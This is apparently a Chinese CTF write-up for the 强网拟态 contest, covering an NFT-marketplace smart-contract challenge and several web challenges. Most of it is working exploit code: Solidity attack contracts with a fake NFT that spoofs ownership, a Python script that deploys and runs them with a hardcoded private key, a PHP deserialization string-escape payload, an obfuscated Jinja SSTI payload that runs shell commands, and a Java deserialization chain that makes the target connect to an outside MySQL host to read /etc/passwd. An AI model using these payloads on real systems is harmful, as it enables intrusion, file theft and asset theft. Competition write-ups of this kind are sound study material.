强网拟态小结-blockchian&web
blockchain
分析
做法其实和TCTF的那个nft差不多,但版本修改了abi编码的漏洞不再有用,所以最后买nft3的步骤是有差别的,但前两个是一样的。
- 从airdrop可以拿5个token,直接买NFT1
- 挂NFT1低价 然后用purchasetest挂高价NFT1让NFTMARKET去买高价的NFT然后就有钱买NFT2了
- 造一个假的nft3放到order的第一个,在
purchaseWithCoupon里面事先会_deleteOrder一次,然后再获取我们假的nft的owner(也就是我们自己),最后getOrder(coupon.orderId).nftAddress(这也是唯一和tctf不一样的地方)获取真的nft3,但此时owner是我们自己,所以最后safeTransferFrom这里导致最后能够修改真正nft3的拥有者。

攻击
攻击合约
pragma solidity 0.8.16;
import "./source.sol";
contract Attack {
CtfMarket public ctfMarket;
address public account;
CtfNFT public ctfNFT;
CtfToken public ctfToken;
HackerNFT public HackerNft;
function setCtfMarket_addr(address addr) public {
ctfMarket = CtfMarket(addr);
ctfNFT= CtfNFT(address(ctfMarket.ctfNFT()));
ctfToken=CtfToken(address(ctfMarket.ctfToken()));
HackerNft = new HackerNFT(address(ctfMarket),address(ctfMarket.verifier()),address(account));
}
function setaccount(address addr) public {
account = addr;
}
function attack11() public{
ctfToken.airdrop();
ctfMarket.createOrder(address(HackerNft),3,1);
this.approve(address(this), 1);
ctfToken.approve(address(ctfMarket),200000000000);
ctfToken.approve(address(ctfNFT),200000000000);
ctfToken.approve(address(ctfToken),200000000000);
ctfMarket.purchaseOrder(0);
}
function attack2() public {
ctfMarket.createOrder(address(ctfNFT),1,1);
ctfNFT.setApprovalForAll(address(ctfMarket),true);
ctfMarket.purchaseTest(address(ctfNFT),1,1337);
ctfMarket.purchaseOrder(1);
ctfMarket.purchaseOrder(1);
}
function approve(address a,uint b) public {
}
function safeTransferFrom(address a,address b,uint c) public {
}
function getFakenft() public returns (address){
return address(HackerNft);
}
function ownerOf(uint dd) public returns (address){
if(dd==2){
return address(this);
}else if(dd==3){
return address(account);
}
}
function attackfor3(uint8 v, bytes32 r, bytes32 s) public {
SignedCoupon memory scoupon;
ctfNFT.setApprovalForAll(account,true);
ctfToken.approve(address(account),200000000000);
scoupon.coupon.orderId=0;
scoupon.coupon.newprice=1;
scoupon.coupon.issuer=address(account);
scoupon.coupon.user=address(this);
scoupon.coupon.reason="";
scoupon.signature.v=v;
scoupon.signature.rs[0]=r;
scoupon.signature.rs[1]=s;
ctfMarket.purchaseWithCoupon{gas:200000}(scoupon);
}
function attack4() public {
ctfNFT.setApprovalForAll(account,true);
ctfMarket.win();
ctfNFT.transferFrom(address(this),address(account),1);
ctfNFT.transferFrom(address(this),address(account),2);
ctfNFT.transferFrom(address(this),address(account),3);
}
function onERC721Received(address, address, uint256, bytes memory) public pure returns (bytes4) {
return this.onERC721Received.selector;
}
}
contract AA {
function onERC721Received(address, address, uint256, bytes memory) public pure returns (bytes4) {
return this.onERC721Received.selector;
}
address issuer;
address user;
uint256 newprice;
bytes reason;
Order order;
bytes32 public hashl;
event deb(
address _issuer,
address _user,
Order order,
uint newprice,
bytes reason
);
function setinit(address _issuer, address _user, uint _newprice, address _nftaddress, uint _price, uint _tokenId) public {
issuer = _issuer;
user = _user;
newprice = _newprice;
order.nftAddress = _nftaddress;
order.price = _price;
order.tokenId = _tokenId;
bytes memory serialized = abi.encode(
"I, the issuer", issuer,
"offer a special discount for", user,
"to buy", order, "at", newprice,
"because", ""
);
hashl = keccak256(serialized);
emit deb(issuer,user,order,newprice,"");
}
function calcsign(bytes32 _ha,uint8 v, bytes32 r, bytes32 s) public view returns(address){
return ecrecover(_ha, v, r, s);
}
}
contract HackerNFT is ERC721, Ownable {
address public Market;
address public Verifier;
address public Hacker;
address public Me;
constructor(
address _marketAddress,
address _verifierAddress,
address _me
) ERC721("HackerNFT", "NFT") public {
Market = _marketAddress;
Verifier = _verifierAddress;
Hacker = msg.sender;
Me = _me;
_setApprovalForAll(address(this), Hacker, true);
_setApprovalForAll(address(Market), Hacker, true);
}
function mint(address to, uint256 tokenId) external onlyOwner {
_mint(to, tokenId);
}
function ownerOf(uint256 tokenId) public view override returns (address) {
if (msg.sender == Verifier) {
return Me;
} else if (msg.sender == Market) {
return Market;
} else {
return Hacker;
}
}
}
攻击脚本,本地私链一键部署和攻击
import solcx
from solcx import compile_files
from web3 import Web3,HTTPProvider
from hexbytes import *
def generate_tx(chainID, to, data, value):
# print(web3.eth.gasPrice)
# print(web3.eth.getTransactionCount(Web3.toChecksumAddress(account_address)))
txn = {
'chainId': chainID,
'from': Web3.toChecksumAddress(account_address),
'to': to,
'gasPrice': web3.eth.gasPrice ,
'gas': 672197400,
'nonce': web3.eth.getTransactionCount(Web3.toChecksumAddress(account_address)) ,
'value': Web3.toWei(value, 'ether'),
'data': data,
}
# print(txn)
return txn
def sign_and_send(txn):
signed_txn = web3.eth.account.signTransaction(txn, private_key)
txn_hash = web3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
txn_receipt = web3.eth.waitForTransactionReceipt(txn_hash)
# print("txn_hash=", txn_hash)
return txn_receipt
def deploy_attack():
compiled_sol = compile_files(["attack.sol"],output_values=["abi", "bin"],solc_version="0.8.16")
data = compiled_sol['attack.sol:Attack']['bin']
# print(data)
txn = generate_tx(chain_id, '', data, 0)
txn_receipt = sign_and_send(txn)
attack_abi = compiled_sol['attack.sol:Attack']['abi']
# print(txn_receipt)
if txn_receipt['status'] == 1:
attack_address = txn_receipt['contractAddress']
return attack_address,attack_abi
else:
exit(0)
def deploy_nft():
compiled_sol = compile_files(["ctf.sol"],output_values=["abi", "bin"],solc_version="0.8.16")
data = compiled_sol['ctf.sol:CtfMarket']['bin']
# print(data)
txn = generate_tx(chain_id, '', data, 0)
txn_receipt = sign_and_send(txn)
attack_abi = compiled_sol['ctf.sol:CtfMarket']['abi']
# print(txn_receipt)
if txn_receipt['status'] == 1:
attack_address = txn_receipt['contractAddress']
return attack_address,attack_abi
else:
exit(0)
def deploy_AA():
compiled_sol = compile_files(["attack.sol"],output_values=["abi", "bin"],solc_version="0.8.16")
data = compiled_sol['attack.sol:AA']['bin']
txn = generate_tx(chain_id, '', data, 0)
txn_receipt = sign_and_send(txn)
attack_abi = compiled_sol['attack.sol:AA']['abi']
# print(txn_receipt)
if txn_receipt['status'] == 1:
attack_address = txn_receipt['contractAddress']
return attack_address,attack_abi
else:
exit(0)
def rsv(_hash):
signed_message = web3.eth.account.signHash(_hash, private_key)
print(signed_message.messageHash.hex())
r = '0x'+signed_message.signature.hex()[2:66]
s = '0x'+signed_message.signature.hex()[66:-2]
v = '0x'+signed_message.signature.hex()[-2:]
return r,s,v
if __name__ == '__main__':
# exp()
solcx.install_solc('0.8.16')
rpc = "http://127.0.0.1:8545"
web3 = Web3(HTTPProvider(rpc))
private_key = 'c2aa19cf83ba45863a005ed560c8c84c1f0ca38eaf5123c6cc88d67c3a9c3f03'
acct = web3.eth.account.from_key(private_key)
account_address = acct.address
chain_id = 5777
print("[+] account_address is " + str(account_address))
print("[+] account_Balance is " + str(web3.eth.getBalance(account_address)))
# attack_key = '8428b975e270727086349607d6a4d3941ce22176b89e148f956d56fce364175c'
# acct = web3.eth.account.from_key(private_key)
# account_address = acct.address
#calc signature
AA_address,AA_abi = deploy_AA()
AA_instance = web3.eth.contract(address=AA_address, abi=AA_abi)
print(AA_instance.all_functions())
contract_address,contract_abi = deploy_nft()
contract_instance = web3.eth.contract(address=contract_address, abi=contract_abi)
print(contract_instance.all_functions())
signed_tx = contract_instance.functions.ctfNFT().call()
print("[+] ctfNFT_address is " + signed_tx)
signed_tx = contract_instance.functions.ctfNFT().call()
print("[+] ctfmarket_address is " + contract_address)
signed_tx = contract_instance.functions.ctfToken().call()
print("[+] ctfToken_address is " + signed_tx)
signed_tx = contract_instance.functions.verifier().call()
print("[+] verifier_address is " + signed_tx)
attack_address,attack_abi = deploy_attack()
attack_instance = web3.eth.contract(address=attack_address, abi=attack_abi)
print(attack_instance.all_functions())
print("[+] attack_address is " + attack_address)
#attack.setaccount()
functionSign = HexBytes(web3.sha3(text='setaccount(address)')).hex()[0:10]
setaccount_addr = generate_tx(chain_id, attack_address,functionSign + "000000000000000000000000" + account_address[2:], 0)
sign_and_send(setaccount_addr)
print("[+] account_address is " + attack_instance.functions.account().call())
#attack.setCtfMarket_addr()
functionSign = HexBytes(web3.sha3(text='setCtfMarket_addr(address)')).hex()[0:10]
setCtfMarket_addr = generate_tx(chain_id, attack_address, functionSign + "000000000000000000000000" + contract_address[2:],0)
sign_and_send(setCtfMarket_addr)
print("[+] CtfMarket_address is " + attack_instance.functions.ctfMarket().call())
#attack.attack11()
functionSign = HexBytes(Web3.sha3(text='attack11()')).hex()[0:10]
attack11_addr = generate_tx(chain_id, attack_address,functionSign, 0)
sign_and_send(attack11_addr)
#contract.getOrder[0]
print("[+] order[0] is " + str(contract_instance.functions.getOrder(0).call()))
#attack.attack2()
functionSign = HexBytes(Web3.sha3(text='attack2()')).hex()[0:10]
attack2_addr = generate_tx(chain_id, attack_address,functionSign, 0)
sign_and_send(attack2_addr)
print("[+] order[0] is " + str(contract_instance.functions.getOrder(0).call()))
print("[+] order[1] is " + str(contract_instance.functions.getOrder(1).call()))
fakeNft_address = attack_instance.functions.HackerNft().call()
print("[+] fakeNft_address is " + fakeNft_address)
#AA.setinit
data = '''0xc2af3f15
000000000000000000000000{}
000000000000000000000000{}
0000000000000000000000000000000000000000000000000000000000000001
000000000000000000000000{}
0000000000000000000000000000000000000000000000000000000000000001
0000000000000000000000000000000000000000000000000000000000000003
'''.format(account_address[2:],attack_address[2:],fakeNft_address[2:]).replace('\n','').replace(' ','')
# print(data)
functionSign = HexBytes(Web3.sha3(text='setinit(address,address,uint256,address,uint256,uint256)')).hex()[0:10]
setinit_addr = generate_tx(chain_id, AA_address,data, 0)
sign_and_send(setinit_addr)
hash = AA_instance.functions.hashl().call()
r,s,v = rsv(hash)
print(v,r,s)
##attack.attackfor3()
data = '''0xf98ecaa700000000000000000000000000000000000000000000000000000000000000{}{}{}'''.format(v[2:],r[2:],s[2:])
functionSign = HexBytes(Web3.sha3(text='attackfor3(uint8,byte32,byte32)')).hex()[0:10]
attackfor3_addr = generate_tx(chain_id, attack_address,data, 0)
sign_and_send(attackfor3_addr)
##attack.attack4()
functionSign = HexBytes(Web3.sha3(text='attack4()')).hex()[0:10]
attack4_addr = generate_tx(chain_id, attack_address,functionSign, 0)
sign_and_send(attack4_addr)
##ctfMarket.win()
functionSign = HexBytes(Web3.sha3(text='win()')).hex()[0:10]
flag_addr = generate_tx(chain_id, contract_address,functionSign, 0)
flag = sign_and_send(flag_addr)
print(contract_instance.events.SendFlag().processLog(flag["logs"][0]))
Web
ezus
读源码
/index.php/tm.php/%80?source
字符串逃逸反序列化读hint.php,然后读f1111444449999.txt
username=@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@&password=111111111111";O:5:"order":3:{s:1:"f";s:7:"trypass";s:4:"hint";s:57:"mochu7://prankhub/../../../../../../../f1111444449999.txt";}
WHOYOUARE
nodejs 原型链污染,使用constructor.prototype代替__proto__,使用1来覆盖数组的第二个数据。运行两次。

没有人比我更懂py
ssti网上搜搜payload
{{''['\137\137\143\154\141\163\163\137\137']['\137\137\142\141\163\145\163\137\137'][0]['\137\137\163\165\142\143\154\141\163\163\145\163\137\137']()[132]['\137\137\151\156\151\164\137\137']['\137\137\147\154\157\142\141\154\163\137\137']['\160\157\160\145\156']('\143\141\164\40\57\146\154\141\147')['\162\145\141\144']()}}
NoRCE
BadAttributeValueExpException调用toString然后connect函数能打二次返序列化。
package com.example.demo.exp;
import com.example.demo.bean.Connect;
import com.example.demo.utils.tools;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.*;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.util.Base64;
import javax.management.BadAttributeValueExpException;
public class payload {
public static void setFieldValue(Object obj,String key, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(key);
field.setAccessible(true);
field.set(obj,value);
}
public static byte[] serialize(Object o) throws Exception{
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(o);
oos.close();
bos.close();
return bos.toByteArray();
}
public static byte[] serialize2(Object o) throws Exception{
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeUTF("s00ABX");
oos.writeObject(o);
oos.close();
bos.close();
return bos.toByteArray();
}
public static Object deserialize(byte[] bytes) throws Exception{
ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bis);
bis.close();
ois.close();
return ois.readObject();
}
public static Object getFieldValue(Object obj, String key) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(key);
field.setAccessible(true);
return field.get(obj);
}
public static String getObject() throws Exception {
com.example.demo.bean.MyBean myBean = new com.example.demo.bean.MyBean("","");
Connect connect = new Connect("jdbc:mysql://10.91.107.14:2333/kkfine?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&username=fileread_/etc/passwd&password=kkfine","","");
setFieldValue(myBean,"conn",connect);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
setFieldValue(badAttributeValueExpException,"val",myBean);
String payload = new String(Base64.getEncoder().encode(serialize(badAttributeValueExpException)));
return payload;
}
public static void main(String[] args) throws Exception {
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
setFieldValue(jmxServiceURL, "urlPath", "/stub/" + getObject());
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);
com.example.demo.bean.MyBean myBean = new com.example.demo.bean.MyBean("","");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
setFieldValue(badAttributeValueExpException,"val",myBean);
setFieldValue(myBean,"conn",rmiConnector);
byte[] payload = serialize2(badAttributeValueExpException);
System.out.println(new String(Base64.getEncoder().encode(payload)));
String data = new String(Base64.getEncoder().encode(payload));
// deserialize(payload);
byte[] bytes = tools.base64Decode(data);
InputStream inputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
String secret = data.substring(0, 6);
String key = objectInputStream.readUTF();
if (key.hashCode() == secret.hashCode() && !secret.equals(key)) {
objectInputStream.readObject();
}
}
}